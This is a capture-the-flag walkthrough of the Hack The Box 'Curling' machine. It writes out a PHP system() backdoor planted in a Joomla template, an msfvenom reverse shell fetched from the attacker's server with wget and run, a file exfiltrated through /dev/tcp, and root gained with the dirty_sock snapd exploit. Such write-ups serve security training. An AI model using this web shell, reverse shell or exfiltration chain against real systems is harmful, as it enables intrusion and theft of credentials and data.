Curling With Hack The Box

With recent winter storms, seeing a machine titled after an ice sport peaked my interest, so I used it as an opener for my first write-up. Curling is a game where granite stones are slid across ice for score accumulation, and curlers try to find ideal paths, which is partly why the game has been given the moniker chess on ice.

I started off by making a curling folder and added my scan results for organization and analysis later: mkdir curling; cd curling; nmap -sC -sV -oN curling.txt 10.10.10.150

Nmap tells us Joomla! is used and ssh is open, which is a nice sign because content management systems are well-known for having issues, coupled with ssh possibly being used to our advantage. I also usually check websites to view page source and dig for clues, and after looking up documentation on Joomla! found that /administrator is the default login panel for this particular CMS. If you look at the main page, you'll notice the "..first curling in 2018!" post was written by a user named Floris, which may be a clue.

Most of the page source looks normal until you scroll further down to the Footer section and see a <!–- secret.txt --> statement that doesn't really seem to fit.

<!-- Footer -->
<footer class="footer" role="contentinfo">
   <div class="container">
       <hr />
       
       <p class="pull-right">
           <a href="#top" id="back-top">
               Back to Top </a>
       </p>
       <p>
           &copy; 2019 Cewl Curling site! </p>
   </div>
</footer></body>
<!-- secret.txt -->
</html>

Going to 10.10.10.150/secret.txt yields us with Q3VybGluZzIwMTgh, which is a strangely encoded statement we can decode in base64 (I used Burp's decoder for this because I had it open, but there are a ton of tools available). This gave us the phrase Curling2018!, which combined with the username Floris, ends up being our login information for the /administrator panel.

I have never used Joomla!, so I had to navigate this for a bit (which included pinching the SQL DB information), but by going to Extensions > Templates > Protostar Details and Files, we find the default template being used for the main page and can start playing with the index.php file to see if inserting a test script will get us anywhere. At the top of index page, we start by using the following snippet:

if( $_REQUEST['moo'] ){	
  system('whoami');
}

$_REQUEST is a global variable that can be used to collect data, so basically what we are asking here is: If we go to 10.10.10.150/index.php?moo=1 can you tell us whoami which should return some output at the top of the page (in this case www-data).

To test this out, we’ll set up a reverse shell that is an x64 bin file and listener:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=yourIP LPORT=yourPort -f elf > rev_shell, then chmod the file so you can use ./rev_shell to connect to this locally and finally set up a listener with nc -lvnp yourPort.

Next, we’ll go ahead and create a www directory in the curling folder and use Python's SimpleHTTPServer module, which helps provide request handlers:

mkdir www; mv rev_shell www; cd www; python -m SimpleHTTPServer yourPort

Once everything is setup, go to 10.10.10.150/index.php?moo=1 for testing and if all goes well, we can change out the script, for something a little more appropriate and grab what is known as a horrible shell and user account because it doesn't have a PTY:

if($_REQUEST['moo']) {	
   system('/usr/bin/wget http://yourIP:yourPort/rev_shell -O /dev/shm/rev_shell');	
   system('chmod 777 /dev/shm/rev_shell');	
   system('/dev/shm/rev_shell');}

One of my mistakes was not paying attention to the listener and SimpleHTTP ports, so be sure to organize that sort of thing. Next, you can grab a PTY shell and pseudo terminal with the following command: python3 -c ' import pty; pty.spawn("/bin/bash"). www-data is a limited account because Apache doesn't run a lot of processes as root because of least privilege. When checking with ls -lah /home we see a password_backup and user.txt file lurking around:

Looking at file permissions, everyone has read on password_backup, but only floris can read user.txt, which is the file we need for the flag, so we’ll send it over with nc -lvnp yourPort > password_backup.

You can use cat password_backup > /dev/tcp/yourIP/port to send the file over, but since this didn't seem to work for whatever reason, I used cat password_backup | base64 -w 10000000 and copied the information into a text file I named password_backup.b64.

To undo the .b64: base64 -d < password_backup.b64 > password_backup. We can then cat the file to see a hexdump created by a program called xxd.

xxd can take any file and make a hexdump as noted above, but it can also reverse files back into binaries if needed (xxd -r password_backup password_backup bin).

From here you can use file password_backup_bin to see the file type used and should get a bunzip, so bunzip2 password_backup_bin to spit out a .bin.out file first. Running file again, you'll notice it is now a gunzip and after this, a tar file. Basically, keep repeating these steps for the compression type involved and you will eventually open up password.txt, which gives us the ssh password for floris's account. Now we can ssh floris@10.10.10.150 to cat user.txt and grab the first flag.

Once logged in, if you check the file systems that are mounted, you will notice a strange squashfs one by snapd. Snap packaging rolls application dependencies into a single binary, which are handled by systemd through this snap service. It also happens to run as root, while the REST API used to attach sockets and UID queries are affected by an overwrite in a for-loop. For a more detailed version of this vulnerability, check out Chris Moberly’s post about it here.

Running a search with searchsploit, finds the dirty_sock exploit, which has two versions. We are looking for version2, which sideloads a snap with a hook to create a new user. At this point, you can prop open a text editor, paste the exploit in, save the file, chmod it, and then run it from within the shell.

This creates a dirty_sock username and password account with administrative privileges, so once that account is created, su into dirty_sock, run su root passwd to change the password, log in as root through su, go to root's home directory, and finally cat root.txt to grab the last flag for this box.

🐱‍👓 😊